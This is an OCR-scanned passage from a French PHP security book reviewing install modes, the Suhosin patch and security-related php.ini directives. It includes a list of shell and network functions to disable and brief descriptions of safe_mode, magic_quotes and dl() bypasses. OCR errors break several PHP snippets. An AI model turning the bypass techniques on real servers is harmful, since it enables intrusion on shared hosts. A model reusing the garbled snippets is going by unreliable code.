pour PHP

Cette deuxieme partie est consacrée ala sécurisation de PHP méme.

Le chapitre 5 présente tout d' abord les différents types d’ installation de PHP, ainsi que
le patch de sécurité Suhoshin.

Le chapitre 6 quant a lui vous expliquera comment garantir |I’intégrité de vos scripts,
en les protégeant physiquement contre les injections, en surveillant attentivement le
comportement de certaines fonctions et en instaurant une rigoureuse politique de gestion
des erreurs.






Installation
et configuration de PHP

PHP est lapremieéreligne de défense d’ une application et, acetitre, doit étre configuré de
maniere spécifique pour protéger le code source et les ressources.

Installation PHP

L'installation PHP représente |e contexte dans lequel une application web vafonctionner.
Les choix qui sont faits lors de la compilation de PHP ont un impact ultérieur sur les choix
de sécurité.

Types d’installation PHP

PHP peut fonctionner sous deux formes: module ou CGI. Le module est un mode de
fonctionnement ou PHP devient une partie du serveur web, comme avec Apache. Le
mode CGl, ou FastCGl, sépare PHP du serveur web et permet son exécution indépen-
dante : c’'est valable avec Apache, mais aussi avec d autres serveurs, comme 1IS. Les
deux options ont leurs avantages et leurs inconvénients.

Module du serveur web

En version module, PHP est intimement associé au serveur web. C'est le choix le plus
fréquent chez les hébergeurs, car il donne un niveau de performances nettement meilleur
gue laversion CGl.
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Patch

En ce qui concerne la sécurité, PHP hérite alors des mémes droits que le serveur web.
C'est pour celagu’il est recommandé de ne jamai's exécuter son serveur web avec des droits
de super-administrateur, mais plut6t avec un niveau de draits trés faible. PHP et le serveur
web doivent étre limités dans leurs acces aux seuls fichiers qui doivent étre publiés.

Si lesfichiers systémetels que /etc/passwd ou ceux de configuration Apache sont connus
pour étre critiques, il faut également se rappeler que des fichiers tels que .htaccess, qui
sont rangés dans les dossiers contenant les applications web, sont aussi vulnérables.
Depuis PHP, il est possible de les modifier et de changer leur niveau de droit. |1 faut donc
mettre en place un systéme de protection particulier pour cesfichiers.

Il est possible de limiter PHP dans ses interventions, al’ aide de la directive open_basedir
(nous le verrons plus loin). En revanche, il n’est pas possible de I'empécher d’ accéder a
des fichiers spécifiques, mais on peut lui imposer de travailler dans certains dossiers, a
I’exclusion de tous les autres.

Disposer d’'un seul utilisateur pour tous les webmestres d’ un serveur peut devenir délicat
dans le cas des hébergements partagés. Dans ce cas, tous les webmestres disposent des
mémes droits d’ exécution et d acces aux codes source les uns des autres. open_basedir
remédie a celaen limitant lesinterventions d’ un webmestre a son dossier racine. Toutefais,
il faut penser a sécuriser les ressources communes, telles que certaines bibliotheques
d inclusion, des dossiers comme /tmp/ OU ceux de sauvegarde des sessions.

Exécutable CGI et FastCGl

En mode CGI, PHP est exécuté comme un processus externe et fonctionne indépendamment
du serveur. || devient possible de lui imposer des contraintes particuliéres, notamment au
niveau des acces aux fichiers et des consommations de ressources.

Ainsi, suexec est un mécanisme qui s applique aux programmes lancés par Apache dans
le cadre CGlI. Vous trouverez la documentation compléte sur cesite: http://httpd.apache.org/
docs/1.3/suexec.html.

Malheureusement, CGI vient avec son propre lot de problémes. Le premier d entre eux
est une dégradation des performances, due au lancement d’'un processus PHP distinct
pour chague requéte HTTP entrante. En plus du fork, Apache en profite pour modifier le
contexte d’ exécution, ce qui conduit a des pertes de performances qui peuvent atteindre
50 %. Clairement, la sécurité a un colt non négligeable.

FastCGl tente de pallier ce probleme en proposant un ensemble de processus PHP préts
al’emploi, mais saréputation d’instabilité nuit a son adoption.

Suhoshin

Suhoshin est un systéme de protection avancé pour PHP. 11 gjoute des protections suppl é-
mentaires au moteur et alaconfiguration PHP, contre des vulnérabilités connues ou avenir.
Le patch Suhoshin, ainsi que le projet Hardened-PHP, ont été dirigés par Stefan Esser,
qui amonté I’ équipe de sécurité de PHP, avant de I’ abandonner en 2006.
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Lestéléchargements sefont a cette adresse : http://www.hardened-php.net/suhosin/index.html

Suhoshin cl6t des vulnérabilités identifiées par Stefan Esser et son équipe, mais qui n’ ont
pas été prises en compte par le groupe PHP. 1| apporte aussi des protections supplémen-
taires. En voici un apercu.

Au niveau du moteur, le gestionnaire de mémoire, les destructeurs et les listes chainées
sont renforcés. Les manipulations de chemins de fichiers sont aussi blindées.

Suhoshin gjoute du chiffrement a plusieurs endroits : chiffrement du cookie et des données
en session, gout de fonctions sha256 et sha256_file, crypt() €t CRYPT_BLOWFISH. Phpinfo()
est également doté de protections contre |’ enregistrement par les moteurs de recherche.

Suhoshin propose aussi de hombreuses options supplémentaires pour configurer plus
finement PHP. On peut noter, sans étre exhaustif :

* listes blanches et noires pour lesinclusions de fichiers distants ;
« interdiction desinclusions de fichiers téléchargés ;

 protection contre les injections d’en-tétes dans les courriers électroniques ainsi que
danslesréponsesHTTP;

 aucune prise en compte des valeurs ou des cookies qui portent des noms de variables
PHP globales;;

» meilleure surveillance des téléchargements de fichiers et des formulaires en général
(limitations du nombre de variables envoyées, du niveau d'imbrication des données,
destailles de chague valeur, etc.).

Enfin, Suhoshin apporte des fonctions de log automatiques supplémentaires, en cas de
détection d'une tentative d'injection : I'adresse IP de I’ attaquant est alors enregistrée
pour traitement ultérieur.

Suhoshin présente des améliorations significatives de sécurité pour PHP et les applica-
tions web en général. Ce patch est particuliérement recommandé quand la sécurité du
code n’ est pas surveillée étroitement, comme Sur un serveur partagé, mais pourra servir a
de nombreuses autres occasions. Suhoshin est maintenant choisi sur les paquets PHP de
FreeBSD et Gentoo, ou sur les paquets Debian de dotdeb (http://www.dotdeb.org/).

Configurations de sécurité PHP

PHP se configure a I'aide du fichier php.ini : c'est un fichier de configuration tres
complet, avec une quantité impressionnante de directives. Certaines sont directement
liées ala sécurité de PHP ; beaucoup d’ autres sont reliées a des fonctionnalités de PHP et
concernent indirectement la sécurité.

Lorsgue vous installez une application sur un houveau serveur ou chez un prestataire, il
est important de passer en revue la configuration du serveur pour s assurer que le niveau
de sécurité est suffisant ou savoir s'il faut mettre en place des défenses supplémentaires
dans |’ application PHP.


http://www.hardened-php.net/suhosin/index.html
http://www.dotdeb.org/
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Par défaut, la configuration de PHP réalise un compromis entre la sécurité et les fonction-
nalités. Généralement, les valeurs par défaut sont correctes et permettent de travailler
convenablement avec de nombreuses applications. En tant que programmeur conscient
des enjeux de sécurité, il est important de ne pas vous fier aveuglément a ces configurations
et de savoir évaluer les impacts des directives sur votre travail. En résumé, méme si la
configuration par défaut vous convient, il vaut mieux la passer en revue pour que vous en
ayez fait le choix conscient, plutét que de laisser la configuration vous dicter ses choix.

Sachez quelefichier php.ini est aussi livré dans une version plus siire dans ladistribution
standard de PHP, sous le nhom de php-ini.recommended. La version standard qui est
couramment utilisée porte elle le nom de php.ini-dist (le dist signifie « distribution »).
Leschoix dephp.ini-recommended sont plus drastiques que ceux de php.ini-dist et posent
parfois probléme a certaines applications: par exemple, short_open_tag, actif dans la
version standard mais désactivé dans la version sécurisée. Evidemment, il est préférable
d'utiliser par défaut le php.ini-recommended lorsque c'est possible.

Notez que de nombreuses directives de configuration sont modifiables au niveau du
script, €' est-a-dire qu'avec lesfonctions ini_set() et ini_get() de PHPR, vous pouvez vérifier
lavaleur d'une directive et lamodifier en conséquence. Par exemple, vous pouvez dyna-
miquement vous assurer que les erreurs ne sont pas affichées dans le résultat du script
avec cette commande :

<{?php
if (ini_get('display_errors') != '0ff") {
ini_set('display_errors', '0ff') :

[

De cette maniére, vous étes certain que la configuration est celle que vous souhaitez,
méme si le choix de |’ administrateur n’ est pas |e votre.

Générdement, cesdirectives conservent leur valeur par défaut. Passons différentes directives
en revue pour mieux comprendre leur fonctionnement et leur utilité en termes de sécurité.

Directives de sécurité

Plusieurs directives de PHP sont explicitement orientées vers la sécurisation de la plate-
forme. 1l faut toutes les connaitre, car certaines sont obsolétes et induisent un faux sens
de sécurité.

safe_mode

Lesafe_mode est littéralement un mode de sécurité, mis en place pour résoudre les problé-
mes des sites qui partagent le méme serveur. Dans cette situation, il faut s assurer
gu’aucun d’entre eux ne peut perturber e site des autres, ni violer leur confidentialité.
Or, PHP est capable de naviguer presgue librement dans le systéme de fichiers. Les
hébergeurs partagés sont donc les premiers concernés par cette directive, mais cela peut
étre aussi votre cas, Si Vous partagez votre serveur avec des clients.
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Jusgu’ a présent, les serveurs web ne proposent pas de solution a cet épineux probléme :
comment partager les ressources d’'un serveur web en fonction des auteurs des applica-
tions hébergées ? Pour gagner en performances, les serveurs web fonctionnent avec un
seul utilisateur systéme et rendent impossible la différenciation des auteurs de sites web
par PHP.

Pour pallier ce manque, PHP a donc mis en place une solution de sécurité : le safe_mode.
Lorsgu’ un script est appelé, PHP note le nom du propriétaire, puis s assure que chague
fichier qui est utilisé par le script appartient bien au méme propriétaire. De cette maniére,
il n'est plus possible d’ écrire ou de lire desfichiers qui appartiennent & un autre webmestre.

D’un point de vue architectural, ce n'est pas a PHP d assurer cette vérification : il
faudrait que cela soit le serveur web qui le fasse. En effet, il suffit d’un bogue au niveau
PHP, comme une extension qui prenne mal en compte le safe_mode pour que ce dernier ne
soit pas auss efficace que voulu. Méme si les extensions de la distribution standard sont
convenablement auditées, il arrive toujours qu’ un oubli dans la programmation ouvre la
porte aune vulnérabilité. Si ¢’ est e serveur web qui se charge de cette vérification, il sera
intransigeant et assurera une meilleure sécurité.

Du point de vue des fonctionnalités, le safe_mode conduit généralement a des problemes
d’acces aux fichiers. Par exemple, lorsgu’un fichier est téléchargé sur le serveur, ce
dernier crée un fichier temporaire pour le stocker et en indique le nom a PHP. Toutefois,
le fichier temporaire est créé par le serveur web, qui en devient automatiquement le
propriétaire. Ainsi, le script receveur ne peut plus y accéder, puisque le propriétaire du
script n’est pas celui du fichier. Le probléme se pose aussi pour les fichiers ou dossiers
créés dynamiquement par un script : ils appartiennent alors au serveur web et non plusau
webmestre. C’ est un véritable casse-téte.

Chaque hébergeur propose différentes méthodes pour contourner le probléme. Il y a
I"interdiction pure et simple du téléchargement de fichiers, la fourniture de fonctions
adaptées pour prendre possession du fichier, le safe_mode par groupe d’ utilisateurs a la
place du safe_mode par utilisateur : dans ce dernier cas, les webmestres sont cloisonnés par
groupes, mais ceux qui partagent un méme groupe, peuvent s espionner les uns les autres.

Enfin, il est possible de passer outrele safe_mode pour accéder aux fichiers qui appartiennent
au serveur web : en fait, il suffit que le script PHP fasse une copie de lui-méme avec la
fonction copy (). C'est possible, puisqu’ un script peut écrire dans un fichier qui appartient
ason propriétaire. Une fois cette opération faite, le script appartient au serveur web. Une
nouvelle exécution du script permet alors d’ accéder atous les fichiers qui sont accessibles
au serveur web, quel que soit le propriétaire initial.

Au final, le safe_mode engendre plus de problémes qu’il n'en résout. D’ailleurs il sera
abandonné en PHP 6. L aspect le plus intéressant qu'il propose d’un point de vue de la
sécurité est une liste crédible de fonctions désactivées. Nous verrons plus loin que nous
pourrons faire laméme chose avec la directive disable_functions.

Il est recommandé de ne plus s appuyer sur le safe_mode, mais d'utiliser a la place
disable_functions &t open_basedir.
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register_globals

Voici une autre directive qui doit étre considérée comme obsoléte : register_globals.
Evitez de |’ utiliser autant que possible.

Cette directive est historique en PHP : elle assure le transfert immédiat entre les variables
envoyeées au serveur via le protocole HTTP et |es variables du méme nom dans le script.
Ainsi, apartir deI’URL http://www.site.php/index.php?x=1, PHP initialise la variable $x
a1 désledébut du script. Beaucoup de programmeurs ont débuté en PHP a I’ époque ol
cette directive était activée. Il faut reconnaitre qu’ elle aidait grandement a la découverte
du langage.

Pour des raisons de sécurité, cette approche est aujourd hui abandonnée, au profit des
variables superglobales $_GET, $_POST, $_SERVER, $_COOKIE, etc. Au lieu d écrire:

<?php
echo htmlentities($x, ENT_COMPAT, 'IS0-8859-1") ;
(o

on écrit désormais :
<?php

echo htmlentities($_GET['x"'], ENT_COMPAT, 'IS0-8859-1') ;
»

La différence n'est pas trés grande entre les deux portions de code, mais la seconde
version dispose d’un atout crucial : on sait exactement d’ ou provient la valeur affichée.
Dansla premiére version, $x peut avoir éeinitialisée par GET, par POST ou par un cookie :
enfait, on n'en sait trop rien. Celadépend des informations qui ont été envoyées au script
et donc, de ce que nos visiteurs nous envoient : il est toujours trés mauvais de dépendre
des utilisateurs.

register_globals est désactivée par défaut depuis la version 4.2.0 de PHP. Toutefois, de
nombreuses applications plus anciennes utilisent encore cette fonctionnalité, a cause de
leur historique ou pour assurer la compatibilité ascendante de leurs utilisateurs. Si vous
entreprenez un nouveau développement, assurez-vous que register_globals est hien
désactivée et tAchez de vous débarrasser des vieilles applications.

Pour compenser la désactivation de register_globals, certains programmes simulent
cette fonctionnalité al’ aide d’ une boucle foreach, placée en début de script, ou encore en
utilisant extract() Cette pratique doit étre activement combattue. Non seulement elle
rétablit une fonctionnalité qui est peu sécuritaire, mais en plus, elle le fait en gaspillant
beaucoup de ressources.

Guillemets magiques

Derniére directive en voie d’ extinction parmi les directives de sécurité, magic_quotes_gpc
et ses cousines, magic_quote_runtime €f magic_quote_sybase. magic_quotes, OU « guillemets
magiques », tente de résoudre les problémes d'injections SQL en gjoutant automati quement
des barres obliques inverses dans|es chaines de caractéres qui parviennent au script PHP.
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L’idée est que PHP peut assurer la sécurité du script al’insu du développeur. En effet, s
une commande SQL est construite comme ceci :

$sq1 = "SELECT * FROM table WHERE Togin = "'.$_GET['login']."" ' ;

alors|'gjout de barres obliques inverses avant les guillemets permet d' utiliser ces carac-
teres dans larequéte sans que celane latransforme en injection. C'est une défenseidéale
pour les débutants :

$sq1 = 'SELECT * FROM table WHERE login = "a\"injection" '

Il faut reconnaitre que cette technique est plutdt bien adaptée aux requétes SQL, mais
elle ne I'est pas pour les autres technologies connexes a PHP, comme HTML. Les
magic_quotes sont donc connus pour afficher des chaines comme celle-ci :

<{strong>je n\\\'aime pas les guillemets magiques</strong>

dans les pages web. Vous avez certainement déja rencontré ce probléme, aussi bien
comme programmeur qu’ en tant qu’ utilisateur.

Pour se débarrasser de la barre oblique inverse importune, il y a la fonction strip-
slashes(), OU encore str_replace() pour les programmeurs les moins malins. Cepen-
dant, lorsque pour nettoyer toutes les variables, stripsiashes()est appliqué au début du
script sur toutes les variables PHP entrantes, alors on fait face a un beau gachis : PHP
a gjouté une « protection », qui est supprimée au niveau du script. Sans compter les
utilisations généreuses de stripslashes()dans le code pour s assurer de ne pas oublier
ce maudit caractére...

Les magic_quotes sont d’autant plus inefficaces que les injections SQL ne se font pas
toujours &I’ aide de guillemets : il existe desinjections qui n’ont pas besoin de guillemets:
reportez-vous ala section sur les dénis de service MySQL .

Pire encore, en utilisant habilement lesjeux de caracteres, il est possible quemagic_quotes
ajoute une barre oblique inverse dans une chaine entrante et crée sans le savoir une
chaine d'injection valide : Chris Shiflett aainsi montré un exemple avec un jeu de carac-
teres chinois. En utilisant ce jeu de caractéres, on peut envoyer a PHP une chaine conte-
nant un guillemet que magic_quotes_gpc va s empresser de protéger par une barre oblique
inverse. L3, I'gjout de ce caractére corrige en fait la chaine, tout en utilisant la séquence \'
en un caractére normal. En appliquant la protection, magic_quotes ouvrelavoie aune
injection. L’ enfer est pavé de bonnes intentions.

Les proches cousins demagic_quotes, COmMmMemagic_quote_runtime, qui étend le principe a
toutes les données qui entrent dans e script PHP, et magic_quote_sybase, pour les requétes
vers Sybase, présentent les mémes problémes. Toutefois, elles sont tellement rarement
utilisées que leur disparition en PHP 6 ne sera probablement pas remarquée.

magic_quotes_gpc doit donc étre désactivée et la protection contre les injections SQL doit
se faire au niveau du script, et en fonction des technologies qui sont utilisées en relation
avec PHP.
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open_basedir

La premiére directive véritablement efficace en termes de sécurité est sans conteste
open_basedir. Elle contient une liste de dossiers, séparés par des caractéres deux-
points « : », comme Ceci :

open_basedir = “/home/phpinfo/:/usr/1ib/php:/usr/local/1ib/php:/tmp”

PHP s assure que les fichiers qu’ un script manipule sont bien rangés dans|’un ou |’ autre
desdossierslistésdansopen_basedir. C'est exactement laméme technique que lesracines
virtuelles, ou chroot, utilisées en FTP : le script PHP est maintenant confiné a une petite
partie du systeme, d’ou il ne peut pas sortir.

open_basedir résout de nombreux problémes que le safe_mode introduisait, notamment
pour la création de fichiers via le serveur web : il n'y a plus de restriction d’accés aux
fichiers par le propriétaire, mais par une racine. Tous les fichiers a I'intérieur de ce
dossier et tous ses sous-dossiers sont accessibles au script PHP. Pour faire cohabiter
différents utilisateurs sur la machine, il suffit alors de leur donner des dossiers distincts.
Avec open_basedir, il est méme possible de partager un dossier entre les utilisateurs, s'ils
sont capables de I’ utiliser intelligemment.

Au moment d'écrire ce livre, un probléme de sécurité a été mis en lumiere pour
open_basedir. Ceprobleme est difficile aexploiter, maison dispose de preuvesirréfutables de
son existence. Pour |’ exploiter, il faut pouvoir utiliser la fonction symiink() de PHP: la
recommandation actuelle est donc de désactiver cette fonction au niveau de PHP, avec
disable_functions.

allow_url_fopen

allow_url_fopen est une directive qui aregu beaucoup d’ attention récemment. Elle ouvre
simultanément la porte & des fonctionnalités puissantes et incontournables de PHP, mais
auss aux injections de code PHP. Son utilisation était donc ambivalente, jusqu’ arécemment.

Le probléme vient du fait que les fonctions d'inclusion de code PHP include(),
require(), include_once() €t require_once() sont logées ala méme enseigne que fopen(),
file(), ouencore file_get_contents(). Si vous avez besoin d' accéder a desfichiers distants
avec fopen(), il faudra activer allow_ur1_fopen, ce qui ouvre la porte a des possibilités
d’injections via include(). Evidemment, cette menace dépend de la maniére dont I’ appli-
cation est structurée, mais au niveau de la configuration des directives, il faut se rappeler
gue lafonctionnalité et la menace vont de pair.

En termes de sécurité, il est donc recommandé de désactiver cette fonctionnalité si vous
N’ en avez pas expressément besoin.

Depuis PHP 5.2, une nouvelle directive distincte a été introduite et permet de séparer le
traitement des deux types de fonctions. allow_url_fopen autorise I’acces aux fichiers
comme d'habitude et al1ow_ur1_include Se charge d autoriser explicitement les inclusions
distantes de code PHP : par défaut, cette directive est désactivée. allow_url_fopen reste
activée par défaut, fournissant les fonctionnaités habituelles de lecture de fichiers distants.
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disable_functions

Les deux directives disable_functions €t disable_classes permettent respectivement de
désactiver des fonctions ou des classes de PHP. L’ intérét de ces directives est double.

Désactiver une fonction ou une classe permet de sécuriser la configuration PHP en
supprimant I’ usage des fonctions qui sont jugées dangereuses ou inutiles. Par exemple, la
fonction system() exécute des lignes de commandes Shell depuis PHP. A moins que votre
script n'ait besoin d’un programme externe a PHP, cette fonction est la voie royale pour
accéder au systéme d’ exploitation : il est donc recommandé de la désactiver. Ladirective
disable_functions est la seule solution pour désactiver une fonction standard de PHP,
comme system().

En allant plus loin, la directive disable_functions est aussi utilisée pour désactiver
partiellement des extensions PHP. Par exemple, |’ extension imap propose des fonctions de
connexion a un serveur IMAP, mais aussi des utilitaires de formatage et d’ encodage,
comme imap_utf8(). Ces fonctions sont utiles en dehors d'une utilisation strictement
IMAP. Pour disposer des utilitaires IMAP, mais sans affaiblir la sécurité en autorisant les
acces aux serveurs IMAP via PHP, vous pouvez simplement gjouter imap_open() a
disable_functions. Sans cette fonction de création de ressources IMAP, toutes les fonctions
qui ont besoin d'une telle ressource seront rendues inutilisables, alors que les fonctions
utilitaires restent actives.

Ainsi, disable_functions permet aussi de désactiver une fonction compléte sans recom-
piler PHP. Si vous avez obtenu un paquet PHP officiel, certifié pour votre serveur, mais
qui dispose de trop de fonctionnalités, disable_functions vous en délestera. Certes, cela
ne vaut pas une recompilation manuelle, mais ¢’ est une solution pratique.

Enfin, disable_functions a éé rejointe par sa petite soaur, disable_classes, qui interdit
certaines classes. En effet, depuis PHP 5, si vous interdisez les fonctions mysq1i_connect
€t mysqli_pconnect, mais autorisez |’ objet mysq11, alors PHP est toujours capable d’ accéder
aune base MySQL.

Quelles valeurs pour disable_functions ?

Idéalement, il faudrait interdire toutes les fonctions qui ne sont pas utiles & une applica-
tion web. En listant les fonctions utilisées dans les scripts et les bibliothégques de votre
application web, et en les comparant avec les fonctions que PHP propose (vialafonction
get_defined_functions(), il est facile d'identifier toutes celles qui ne servent pas.

Cette approche est tres spartiate et certains la trouveront exagérée, avec raison. Si vous
cherchez une configuration plus adaptée a un usage général, voici quelques fonctions
qu'il est bon d’ examiner et probablement d'interdire si vous n’en avez pas |’ usage :

e Les fonctions dexécution de commandes Shell, comme: system(), passthru(),
shell_exec(), popen(), proc_open() €t exec().

» Lafonction d1() qui charge dynamiquement des bibliothéques et serainterdite dansun
environnement web a partir de PHP 6, mais autorisée pour les applications CLI de PHP,
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 Lesfonctions de manipulation des processus : proc_open() €t popen().

e Les fonctions de connexions avec des technologies tierces, si vous n’en avez pas
besoin : mysql_connect(), mysql_pconnect(), imap_open(), ora_open(), €tC.

e Les fonctions d'acces au réseau, telles que curl_init(), curl_exec(), socket(),
fsockopen(), €tC.

» Lesfonctions d’ accés au serveur web, comme Apache ou |1S.
e import_request_variables(), et éventuellement extract().

e Lesfonctions d administration de PHP, telles que set_time_Timit(), ini_set(), putenv(),
set_include_path(), set_magic_quotes_runtime(), set_time_limit(), sys_get_temp_dir().

» Les fonctions de gestion d'un script: dignore_user_abort(), register_shutdown
_function() € register_tick_function().

enable_dl

enable_d1 autorise le chargement de bibliothéques dynamiques en PHP. A la volée, PHP
vacharger une hibliothégue systéme et étendre |agamme des fonctionnalités disponibles.

C'est une directive utile durant le dével oppement d’ une extension pour PHP : au lieu de
recompiler tout PHP, et peut-&tre méme le serveur web au passage, il suffit de créer une
bibliotheque partagée (type shared library ou DLL) et de la charger dans un script au
moment ou on en abesoin, al’aide de lafonction d1().

En termes de sécurité, ¢’ est trés dangereux. |l suffit de compiler une bibliotheque sur un
serveur compatible, puis de latélécharger sur le serveur victime pour pouvoir exploiter la
puissance de PHP sans aucune limitation, notamment le safe_mode OU open_basedir. En
général, il est donc recommandé de la désactiver. D'ailleurs, a partir de PHP 6, cette
fonction sera désactivée pour les serveur web et activée pour les versions CLI de PHP.

Consommation de ressources

PHP est capable de se surveiller lui-méme et d’ empécher qu’'un script consomme a lui
tout seul trop de ressources sur le serveur. Les consommations excessives ralentissent le
serveur, bloguent les autres utilisateurs et, finalement, assurent un déni de service. Géné-
ralement, ces directives sont bien connues des développeurs, car elles leur évitent
souvent des erreurs, méme durant le développement.

max_execution_time

Cette directive n'a généralement pas besoin de présentation : elle se manifeste d' élle-méme
desles premiers scripts d’ un nouveau programmeur PHP. Elle limite la consommation de
temps de calcul processus a un certain temps, exprimé en nombre de secondes. Avec son
nom explicite, on al’impression d avoir tout compris de cette directive.
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Toutefois, il est anoter que la signification de ce temps varie d' un systéme al’ autre. Sur
Windows, il s'agit de temps humain, c'est-a&-dire la durée comptée depuis le début de
I"exécution du script. Sur Linux, c'est du temps processeur qui est compté. Si votre
serveur web est le seul sur la machine, les définitions sont équivalentes sur Windows et
Linux, tant qu’un seul utilisateur se présente sur le serveur web. En revanche, si plusieurs
autres services fonctionnent en méme temps sur le serveur, le temps humain nécessaire
avant de voir le script PHP s arréter sera plus long sur Linux que sur Windows.

Lavaleur par défaut de cette directive est de 30 secondes : ¢’ est une valeur particuliérement
généreuse et qui, en fait, ne devrait jamais étre utilisée. La patience d’un utilisateur qui
sollicite un site ne dépasse pas 7 secondes de temps humain. Avec un max_execution_time
de 30 secondes, et peut-étre un peu de charge sur le serveur, PHP pourrait travailler
durant une minute pour fournir une page web a... un utilisateur qui est parti depuis fort
longtemps.

Il est donc recommandé de travailler avec une durée maximale d exécution de script
aussi basse que possible, idéalement autour de 5 & 10 secondes. Un script qui met trop de
temps a s exécuter sur le serveur de développement, n’en mettra pas moins lorsqu'’il
passera en production. Ce sera méme probablement pire, a cause du trafic. Développez
donc dans un environnement contraint, pour ne pas avoir de mauvaise surprise en produc-
tion.

Plus la durée maximale d’exécution d’un script est longue, plus les risques de déni de
service sont importants. En effet, il suffit de trouver un script qui est lent a s’ exécuter sur
un serveur web et de charger simultanément plusieurs fois cette page. Inversement, plus
cette valeur est réduite, plus vite le script aura terminé et pourra servir un autre client.

La pratigue montre que max_execution_time est laissée a 30 secondes. En fait, lavaleur de
cette directive passe rapidement a une minute, deux minutes, voire une journée
(86 400 secondes). Cette inflation répond en fait aux besoins des administrateurs d’un
site: eux ont besoin d’exécuter des scripts qui durent longtemps et ils ont |a patience
d attendre lafin de I exécution. Par sécurité, ces scripts sont généralement inaccessibles
au grand public et confinés a un dossier spécifique.

Dans ce cas, il est recommandé d' utiliser une configuration spécifique pour le dossier
d administration : dansle dossier /adm/, max_execution_time peut prendre lavaleur de 120
(2 minutes), tandis que sur lerestedu siteil reste a5 ou 7 secondes. Utilisez .htaccess ou
bien set_time_Timit() pour modifier la configuration localement. Par défaut, laissez une
valeur trés basse de cette directive. De cette maniére, la partie publique du site est limitée
en consommation, mais la partie d’ administration ne I’ est pas.

memory_limit

memory_limit restreint la quantité de mémoire utiliste par PHP. Contrairement a
max_execution_time, €lle n’est implantée par défaut dans PHP que depuis PHP 5.2.0 et il
faut I activer lors de la compilation. En pratique, presque 50 % des sites web PHP ne
I’ utilisent pas: ¢’ est une erreur.
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De la méme fagon que max_execution_time limite la consommation de processeur,
memory_limit plafonne la quantité de mémoire qu’'un script peut accaparer. Plus cette
limite est haute, moins vous pourrez faire exécuter ssimultanément de script sur le
serveur : la quantité de mémoire est en quantité finie.

Laconfiguration par défaut dememory_1imit est de 8 Mo. Cette valeur ne convient pas aux
galeriesd images : avec I’ accroissement de lataille desimages fournies par les appareils
numériques, il faut facilement passer cette valeur a16 voire 32 Mo. D’ailleurs PHP 5.2.0
utilise maintenant une valeur par défaut de 16 Mo et PHP 5.2.1 utilise 128 Mo.

La consommation de mémoire est totalement masguée dans un script PHP : elle se cache
facilement dans|es ressources PHP, produites par les extensions. On peut |la mesurer avec
lesfonctionsmemory_get_usage() €t memory_get_peak_usage(). Lacréation de fichiers PDF,
d’'images et d animations Flash sont souvent les opérations les plus gourmandes en
mémoire, ainsi que la manipulation de résultats SQL de trés grande taille.

La pratique pour cette directive est la méme que pour max_execution_time : il est recom-
mandé de laisser lavaleur aun niveau faible. Le cas échéant, il est possible d’ assouplir la
limite, dossier par dossier, pour répondre a des besoins spécifiques.

post_maxsize

post_maxsize limite la quantité de données que PHP accepte en provenance de |’ utilisateur.
Plus cette valeur est grande, plus PHP accepte de données et tente de les préparer pour
que le script puisse les utiliser : ainsi, plus cette valeur est grande, plus PHP s expose a
un déni de service.

Par défaut, post_maxsize vaut 2 Mo, ce qui signifie qu'un script PHP accepte jusqu’a
2 Mo de données vialaméthode posT avant d’ annuler larequéte HTTP. Et si ces données
ne sont pas acceptées, alors PHP aura alloué 2 Mo de données inutiles dans le script :
C'est beaucoup de travail pour rien.

La premiére application de post_maxsize se fait conjointement avec file_upload €t
upload_max_filesize. En effet, les téléchargements de fichiers se font avec la méthode
POST et sont comptés dans la quantité d’information que PHP recoit. Pour étre capable de
recevoir desfichiersde 2 Mo, il faut mettre post_maxsize aplus de 2 Mo.

Hormis le chargement de fichiers, les formulaires consomment généralement peu de
mémoire et il est possible de donner a cette directive une valeur bien plus basse que la
valeur par défaut.

Contrairement amemory_11imit, cette directive s applique au script avant méme que le code
PHP ne commence a |’ exécuter. Elle permet de limiter I'impact des données du visiteur
sur le serveur PHP.

file_upload

file_upload est ladirective qui autorise le chargement de fichiers sur le serveur web, pour
traitement avec PHP. Par défaut, elle est activée et elle fonctionne conjointement avec
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max_postsize €t upload_max_filesize. Laseule recommandation pour cette directive est de
ladésactiver si vous N’ utilisez pas de téléchargement de fichiers sur votre serveur.

register_long_arrays

Cette directive est une rescapée des débuts de PHP. A I’origine, PHP fournissait les
données d'entrée du script dans des tableaux qui portaient des noms tels que
$HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS OU $HTTP_POST_FILES. Lorsque
register_globals a été abandonnée, les développeurs PHP ont introduit de nouvelles
variables globales $_GET, $_POST, $_COOKIE et $_FILES.

Pour assurer la compatibilité ascendante avec les vieilles applications, register_long_arrays
a été introduite et crée simplement les anciens tableaux.

De nos jours, il est recommandé de ne jamais utiliser cette directive. Elle introduit des
variables supplémentaires dans le script, ce qui donne des possibilités d’ entrée dans le
script. De plus, ces tableaux requierent de la mémoire et un temps de création dédié. S
vous ne les utilisez pas, cela sera du pur gaspillage.

PHP exposé

La devise qui rassemble ces directives serait : « pour vivre heureux, vivons caché. ».
D’une maniére ou d une autre, elles permettent I’ affichage d’informations sur une appli-
cation web. Ces informations sont précieuses pour le développement, mais dangereuses
s elles tombent dans de mauvaises mains. La bonne nouvelle est qu'il est facile de tout
cacher.

expose_php

Ladirective expose_php affichelaprésence de PHP dansles en-tétesHTTP du serveur. On
trouve par exemple:

X-Powered-By : PHP/5.1.4

Par défaut, cette directive est activée. Par elle-méme, €elle ne représente pas de grand
danger, maisil faut reconnaitre qu’ elle affiche des informations utiles aux pirates. Si une
vulnérabilité a été publiée pour une version particuliére de PHP, alorsle pirate sait immé-
diatement si votre site est vulnérable ou pas. Il est certain que ne pas publier ce type
d’information vous apporte un niveau de sécurité supplémentaire.

expose_php colte aussi quelques octets de plus en termes de trafic. Si votre site accueille
guelques centaines ou milliers de visiteurs par jour, la différence ne se fera pas sentir,
mais pour les trés grands trafics, cela pourra avoir un impact non négligeable. Essayez
donc de trouver un site de |’ envergure de Yahoo ! qui utilise cette directive...

Sachez aussi que des statistiques sont réalisées a I’ aide des informations fournies par
cette directive. Netcraft et nexen.net s appuient sur ces informations pour en déduire des
statistiques sur le niveau d' utilisation de PHP et des serveurs web.
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display_errors

display_errors active |’ affichage des erreurs détectées par PHP dans le résultat du script.
C'est cette directive, activée par défaut, qui défigure les pages web avec des messages
d erreur. Il suffit d’ aller sur votre moteur de recherche préféré pour trouver des centaines
de sites qui arborent des erreurs PHP dans leur page.

display_errors et effectivement utile lors du développement : au lieu de chercher les problée-
mes d’ exécution danslesfichiers delog du serveur web, il suffit deleslire directement sur la
page HTML produite. Celareste un atout pour identifier et éradiquer rapidement un bogue.

En production, cette directive doit étre désactivée. L’ affichage des erreurs est tres
